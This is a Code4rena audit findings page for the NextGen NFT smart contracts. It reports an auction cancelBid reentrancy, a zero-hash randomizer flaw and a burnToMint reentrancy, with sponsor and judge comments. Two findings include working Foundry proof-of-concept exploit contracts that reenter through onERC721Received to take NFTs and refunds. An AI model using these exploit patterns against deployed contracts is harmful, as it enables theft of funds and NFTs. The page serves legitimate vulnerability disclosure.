Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 30/243
Findings: 3
Award: $501.11
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/a6f2397b68ef2865374c1bf7629349f25e71a44d/hardhat/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/a6f2397b68ef2865374c1bf7629349f25e71a44d/hardhat/smart-contracts/AuctionDemo.sol#L124-L130
This vulnerability allows the highest bidder to claim an NFT without paying for it, effectively receiving it for free. Additionally, other bidders are unable to withdraw their funds, resulting in a loss of funds.
When auction comes to an end, the highest bidder can call claimAuction
to receive the NFT that he bidded.
File: smart-contracts/AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 106: auctionClaim[_tokenid] = true; 107: uint256 highestBid = returnHighestBid(_tokenid); 108: address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); 109: address highestBidder = returnHighestBidder(_tokenid); 110: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { 111: if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); 113: (bool success, ) = payable(owner()).call{value: highestBid}(""); 114: emit ClaimAuction(owner(), _tokenid, success, highestBid); 115: } else if (auctionInfoData[_tokenid][i].status == true) { 116: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 117: emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); 118: } else {} 119: } 120: }
However, when block.timestamp = minter.getAuctionEndTime(_tokenid)
, the higest bidder can also cancel the bid.
File: smart-contracts/AuctionDemo.sol 124: function cancelBid(uint256 _tokenid, uint256 index) public { 125: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); 126: require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); 127: auctionInfoData[_tokenid][index].status = false; 128: (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); 129: emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); 130: }
Becaseu time is overlapped at minter.getAuctionEndTime(_tokenid)
for both functions claimAuction
and cancelBid
, if the bidder is the smart contract, it can reentrant cancelBid
when claimAuction and withdraw the bid amount out. It is possible because of the safeTransferFrom
in line 112.
Scenario: there are two auction for tokens 10000000000 and 10000000001. Addr3 uses maliciousBidder contract to reentrant to get the NFT 10000000000 for free at the expense of funding in 10000000001 bidding.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/NFTdelegation.sol"; import "../smart-contracts/XRandoms.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/AuctionDemo.sol"; import "../smart-contracts/IERC721Receiver.sol"; import {console} from "forge-std/console.sol"; contract NextGenCoreTest is Test { NextGenCore hhCore; DelegationManagementContract hhDelegation; randomPool hhRandoms; NextGenAdmins hhAdmin; NextGenRandomizerNXT hhRandomizer; NextGenMinterContract hhMinter; auctionDemo hhAuctionDemo; address owner; address trustWallet; address addr1; address addr2; address addr3; address addr4; function setUp() public { owner = address(this); addr1 = vm.addr(1); addr2 = vm.addr(2); addr3 = vm.addr(3); addr3 = vm.addr(4); trustWallet = vm.addr(5); // Deploy contracts hhDelegation = new DelegationManagementContract(); hhRandoms = new randomPool(); hhAdmin = new NextGenAdmins(); hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin)); hhRandomizer = new NextGenRandomizerNXT( address(hhRandoms), address(hhAdmin), address(hhCore) ); hhMinter = new NextGenMinterContract( address(hhCore), address(hhDelegation), address(hhAdmin) ); } function testcancelBidReentrancy() public { string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript ); hhAdmin.registerCollectionAdmin(1, address(addr1), true); vm.prank(addr1); hhCore.setCollectionData( 1, // _collectionID address(addr1), // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); hhCore.addMinterContract(address(hhMinter)); hhCore.addRandomizer(1, address(hhRandomizer)); hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 5, // _timePeriod 1, // _salesOptions 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress // 0x0000000000000000000000000000000000000000 ); hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931280, // _allowlistEndTime 1696931282, // _publicStartTime 1796931284, // _publicEndTime bytes32( 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 ) // _merkleRoot ); vm.warp(1796931283); hhAuctionDemo = new auctionDemo( address(hhMinter), address(hhCore), address(hhAdmin) ); vm.prank(trustWallet); hhCore.setApprovalForAll(address(hhAuctionDemo), true); // Auction NFT 10000000000 hhMinter.mintAndAuction( trustWallet, '{"tdh": "100"}', 2, 1, 1796931290 ); // Auction NFT 10000000001 hhMinter.mintAndAuction( trustWallet, '{"tdh": "100"}', 2, 1, 1796931295 ); // Participate bidding NFT 10000000001 vm.deal(addr4, 3 ether); vm.prank(addr4); hhAuctionDemo.participateToAuction{value: 3 ether}(10000000001); // Participate bidding NFT 10000000000 vm.warp(1796931289); vm.deal(addr1, 1 ether); vm.prank(addr1); hhAuctionDemo.participateToAuction{value: 1 ether}(10000000000); vm.deal(addr2, 2 ether); vm.prank(addr2); hhAuctionDemo.participateToAuction{value: 2 ether}(10000000000); // addr3 is the admin of maliciousBidder, it uses MaliciousContractCancelBidReentrancy to participate in the bidding. MaliciousContractCancelBidReentrancy maliciousBidder = new MaliciousContractCancelBidReentrancy(address(hhAuctionDemo)); vm.deal(addr3, 3 ether); vm.prank(addr3); maliciousBidder.participate{value: 3 ether}(10000000000); // At the end of the auction, malicious bidder claim vm.warp(1796931290); vm.prank(addr3); maliciousBidder.claim(10000000000); // addr1 and addr2 are refunded. assertEq(address(addr1).balance, 1 ether); assertEq(address(addr2).balance, 2 ether); // addr3 get both the NFT and refund amount assertEq(address(maliciousBidder).balance, 3 ether); assertEq(hhCore.ownerOf(10000000000), address(maliciousBidder)); // The fund for the 10000000001 auction is lost. assertEq(address(hhAuctionDemo).balance, 0 ether); } } contract MaliciousContractCancelBidReentrancy is IERC721Receiver { address public auction; constructor(address _auction) { auction = _auction; } function participate(uint256 _tokenId) external payable { auctionDemo(auction).participateToAuction{value:msg.value}(_tokenId); } function claim(uint256 _tokenId) external { auctionDemo(auction).claimAuction(_tokenId); } function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external override returns (bytes4) { auctionDemo(auction).cancelAllBids(_tokenId); return IERC721Receiver.onERC721Received.selector; } receive() external payable {} }
Manual
Modify the cancelBid
function to only allow cancellation of bids before the auction's end time
function cancelBid(uint256 _tokenid, uint256 index) public { - require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); + require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended"); require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); auctionInfoData[_tokenid][index].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); }
Reentrancy
#0 - c4-pre-sort
2023-11-15T05:22:36Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:41:58Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T17:47:56Z
alex-ppg marked the issue as partial-50
252.1973 USDC - $252.20
https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/RandomizerRNG.sol#L48-L50 https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L299-L303
The fulfillRandomWords
call will revert and the NFT random hash cannot be set. The NFT will be corrupted.
When generating the random hash using Arrng, after getting the numbers, it packs the numbers with tokenID and cast to bytes32 to get the random hash. This casting truncates the packed data to its first 256 bits.
bytes32(abi.encodePacked(numbers,requestToToken[id]))
File: smart-contracts/RandomizerRNG.sol 48: function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override { 49: gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id]))); 50: }
If the returned random number is 0, it means that the packed bytes will be 0x0000000000000000000000000000000000000000000000000000000000000000 despite of the token id.
Chisel output
chisel Welcome to Chisel! Type `!help` to show available commands. ➜ uint256[] memory numbers = new uint256[](1); ➜ numbers[0] = 0; ➜ uint256 id = 10000000000; ➜ bytes32 c = bytes32(abi.encodePacked(numbers, id)); ➜ c Type: bytes32 └ Data: 0x0000000000000000000000000000000000000000000000000000000000000000 ➜
However, if the _hash is 0x0000000000000000000000000000000000000000000000000000000000000000
then the gencoreContract.setTokenHash
call will revert. The tokenToHash is not set.
File: smart-contracts/NextGenCore.sol 299: function setTokenHash(uint256 _collectionID, uint256 _mintIndex, bytes32 _hash) external { 300: require(msg.sender == collectionAdditionalData[_collectionID].randomizerContract); 301: require(tokenToHash[_mintIndex] == 0x0000000000000000000000000000000000000000000000000000000000000000); 302: tokenToHash[_mintIndex] = _hash; 303: }
The same issue can happen to RandomizerVRF despite the probability of returning 0 is very low.
Manual
To prevent the potential for a zero hash, modify the hash generation in RandomizerRNG to use keccak256 instead of abi.encodePacked
function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override { - gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id]))); + gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], keccak256(abi.encodePacked(numbers,requestToToken[id]))); }
en/de-code
#0 - c4-pre-sort
2023-11-20T09:13:34Z
141345 marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-22T08:58:04Z
141345 marked the issue as duplicate of #852
#2 - c4-judge
2023-12-06T15:56:15Z
alex-ppg changed the severity to QA (Quality Assurance)
#3 - c4-judge
2023-12-10T14:25:43Z
This previously downgraded issue has been upgraded by alex-ppg
#4 - c4-judge
2023-12-10T14:26:28Z
alex-ppg marked the issue as duplicate of #1688
#5 - c4-judge
2023-12-10T14:28:11Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: ast3ros
Also found by: 00xSEV, Al-Qa-qa, CaeraDenoir, Jiamin, Juntao, Ruhum, bart1e, circlelooper, crunch, gumgumzum, rishabh, smiling_heretic, ustas
248.9091 USDC - $248.91
https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L213-L223 https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L227-L232
The current implementation of the burnToMint
function in the NextGenCore.sol
smart contract permits a contract holder to both burn and sell the same NFT, effectively exploiting it to mint a new NFT. This leads to potential fraudulent activities when trading the NFT.
The vulnerability stems from the order of operations in the burnToMint
function. Currently, a new token is minted (_mintProcessing
) before the existing token is burned (_burn
). This sequence of operations opens a window for exploitation:
File: smart-contracts/NextGenCore.sol 213: function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external { 214: require(msg.sender == minterContract, "Caller is not the Minter Contract"); 215: require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved"); 216: collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1; 217: if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) { 218: _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o); 219: // burn token 220: _burn(_tokenId); 221: burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1; 222: } 223: }
The _mintProcessing
function calls _safeMint
, which in turn can trigger arbitrary code execution if the recipient is a contract. This allows for manipulation such as transferring the NFT (set to be burned) to another user before the burn occurs:
File: smart-contracts/NextGenCore.sol 227: function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal { 228: tokenData[_mintIndex] = _tokenData; 229: collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); 230: tokenIdsToCollectionIds[_mintIndex] = _collectionID; 231: _safeMint(_recipient, _mintIndex); 232: }
A malicious actor can exploit this by listing the NFT for sale. When there is a buy offer, the malicious contract can call burnToMint
to receive the new NFT and simultaneously accept an offer to buy the original NFT, resulting in the original NFT being burned but still sold, effectively duping the buyer.
In this POC scenario, there are two collection 1 and 2. The admin is set so that users can burn token in collection 1 to mint token in collection 2.
10000000000
of collection 1, it lists the token 10000000000
in the marketplace.addr3
offer to buy the token 10000000000
from the malicious contract.burnToMint
, stimulously receive token 20000000000
from collection 2 and accept offer to buy 10000000000
from addr3
.10000000000
is burnt and addr3
receive nothing. The malicious contract receives both token 20000000000
from burnToMint
and proceed from the sales of token 10000000000
.POC:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/NFTdelegation.sol"; import "../smart-contracts/XRandoms.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/AuctionDemo.sol"; import "../smart-contracts/IERC721Receiver.sol"; import {console} from "forge-std/console.sol"; contract NextGenCoreTest is Test { NextGenCore hhCore; DelegationManagementContract hhDelegation; randomPool hhRandoms; NextGenAdmins hhAdmin; NextGenRandomizerNXT hhRandomizer; NextGenMinterContract hhMinter; auctionDemo hhAuctionDemo; address owner; address addr1; address addr2; address addr3; function setUp() public { owner = address(this); addr1 = vm.addr(1); addr2 = vm.addr(2); addr3 = vm.addr(3); // Deploy contracts hhDelegation = new DelegationManagementContract(); hhRandoms = new randomPool(); hhAdmin = new NextGenAdmins(); hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin)); hhRandomizer = new NextGenRandomizerNXT( address(hhRandoms), address(hhAdmin), address(hhCore) ); hhMinter = new NextGenMinterContract( address(hhCore), address(hhDelegation), address(hhAdmin) ); } function testBurnToMintReentrancy() public { // Setting up, creating 2 collections for burnToMint string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript ); hhCore.createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript ); hhAdmin.registerCollectionAdmin(1, address(addr1), true); hhAdmin.registerCollectionAdmin(1, address(addr2), true); vm.prank(addr1); hhCore.setCollectionData( 1, // _collectionID address(addr1), // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); hhCore.setCollectionData( 2, // _collectionID address(addr2), // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); hhCore.addMinterContract(address(hhMinter)); hhCore.addRandomizer(1, address(hhRandomizer)); hhCore.addRandomizer(2, address(hhRandomizer)); hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 5, // _timePeriod 1, // _salesOptions 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress // 0x0000000000000000000000000000000000000000 ); hhMinter.setCollectionCosts( 2, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 5, // _timePeriod 1, // _salesOptions 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress // 0x0000000000000000000000000000000000000000 ); hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931280, // _allowlistEndTime 1696931282, // _publicStartTime 1796931284, // _publicEndTime bytes32( 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 ) // _merkleRoot ); hhMinter.setCollectionPhases( 2, // _collectionID 1696931278, // _allowlistStartTime 1696931280, // _allowlistEndTime 1696931282, // _publicStartTime 1796931284, // _publicEndTime bytes32( 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 ) // _merkleRoot ); bytes32[] memory merkleRoot = new bytes32[](1); merkleRoot[ 0 ] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; hhMinter.initializeBurn(1, 2, true); // Deploy a malicious contract to receive token 10000000000, later burn token 10000000000 to receive token 20000000000 MaliciousContract maliciousContract = new MaliciousContract(address(hhCore), address(addr2), address(addr3)); vm.warp(1796931283); // Mint token 10000000000 to malicious contract hhMinter.mint( 1, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData address(maliciousContract), // _mintTo merkleRoot, // _merkleRoot address(addr1), // _delegator 2 //_varg0 ); // Malicious contract approve to addr2 so addr2 can call burnToMint on behalf of the malicious contract vm.prank(addr2); maliciousContract.approveToken(); vm.prank(addr2); hhMinter.burnToMint(1, 10000000000, 2, 100); assertEq(hhCore.ownerOf(20000000000), address(maliciousContract)); // Malicious contract receives token 20000000000 after burnToMint. assertEq(hhCore.balanceOf(address(addr3)), 0); // NFT of addr3 is burnt } } contract MaliciousContract is IERC721Receiver { address public collection; address public admin; address public receiver; uint256 tokenIdToBurn = 10000000000; uint256 tokenIdToReceive = 20000000000; constructor(address _collection, address _admin, address _receiver) { collection = _collection; admin = _admin; receiver = _receiver; } function approveToken() external { require(msg.sender == admin); NextGenCore(collection).setApprovalForAll(admin, true); } function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external override returns (bytes4) { if (_tokenId == tokenIdToBurn) { return IERC721Receiver.onERC721Received.selector; } else if (_tokenId == tokenIdToReceive) { // after receive the token, accept the sale offer immediately to send the token to buyer. To simplify, call transfer to the buyer NextGenCore(collection).transferFrom(address(this), receiver, tokenIdToBurn); return IERC721Receiver.onERC721Received.selector; } } }
Manual
The order of operations in the burnToMint
function should be revised to ensure that the token is burned before a new one is minted:
function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved"); collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) { - _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o); // burn token _burn(_tokenId); burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1; + _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o); } }
Reentrancy
#0 - c4-pre-sort
2023-11-20T09:23:54Z
141345 marked the issue as primary issue
#1 - a2rocket
2023-11-23T06:04:42Z
the proposed mitigation is not fully corrected as you need to store the current owner of the token before burning it and use that into safeMint. If you do it like its proposed the safeMint will not be able to send the token.
#2 - c4-sponsor
2023-11-23T06:05:08Z
a2rocket (sponsor) confirmed
#3 - c4-pre-sort
2023-11-26T13:59:53Z
141345 marked the issue as sufficient quality report
#4 - c4-pre-sort
2023-11-26T14:02:21Z
141345 marked the issue as duplicate of #1742
#5 - c4-judge
2023-11-29T19:52:54Z
alex-ppg marked the issue as not a duplicate
#6 - c4-judge
2023-11-29T19:53:00Z
alex-ppg marked the issue as primary issue
#7 - alex-ppg
2023-12-05T12:24:45Z
The Warden has showcased that due to the absence of the Checks-Effects-Interactions pattern, it is possible to utilize an NFT to-be-burned (f.e. to sell it) before the actual burning operation is executed.
While the recommended alleviation does not work as expected per the Sponsor's comments, the submission is valid as it can cause the recipient of an NFT (if an open sale exists) to lose their value and not acquire any NFT.
I will downgrade this to a medium severity vulnerability per the judging guidelines as the only loss-of-value is a hypothetical value of an external protocol (i.e. trading one) rather than the NextGen system.
#8 - c4-judge
2023-12-05T12:24:57Z
alex-ppg changed the severity to 2 (Med Risk)
#9 - c4-judge
2023-12-07T11:08:07Z
alex-ppg marked the issue as selected for report
#10 - c4-judge
2023-12-07T11:08:16Z
alex-ppg marked the issue as satisfactory
#11 - alex-ppg
2023-12-07T11:08:49Z
The Warden's submission was selected as the best due to a correct title, cleaner & concise representation throughout, and illustrative recommended mitigation.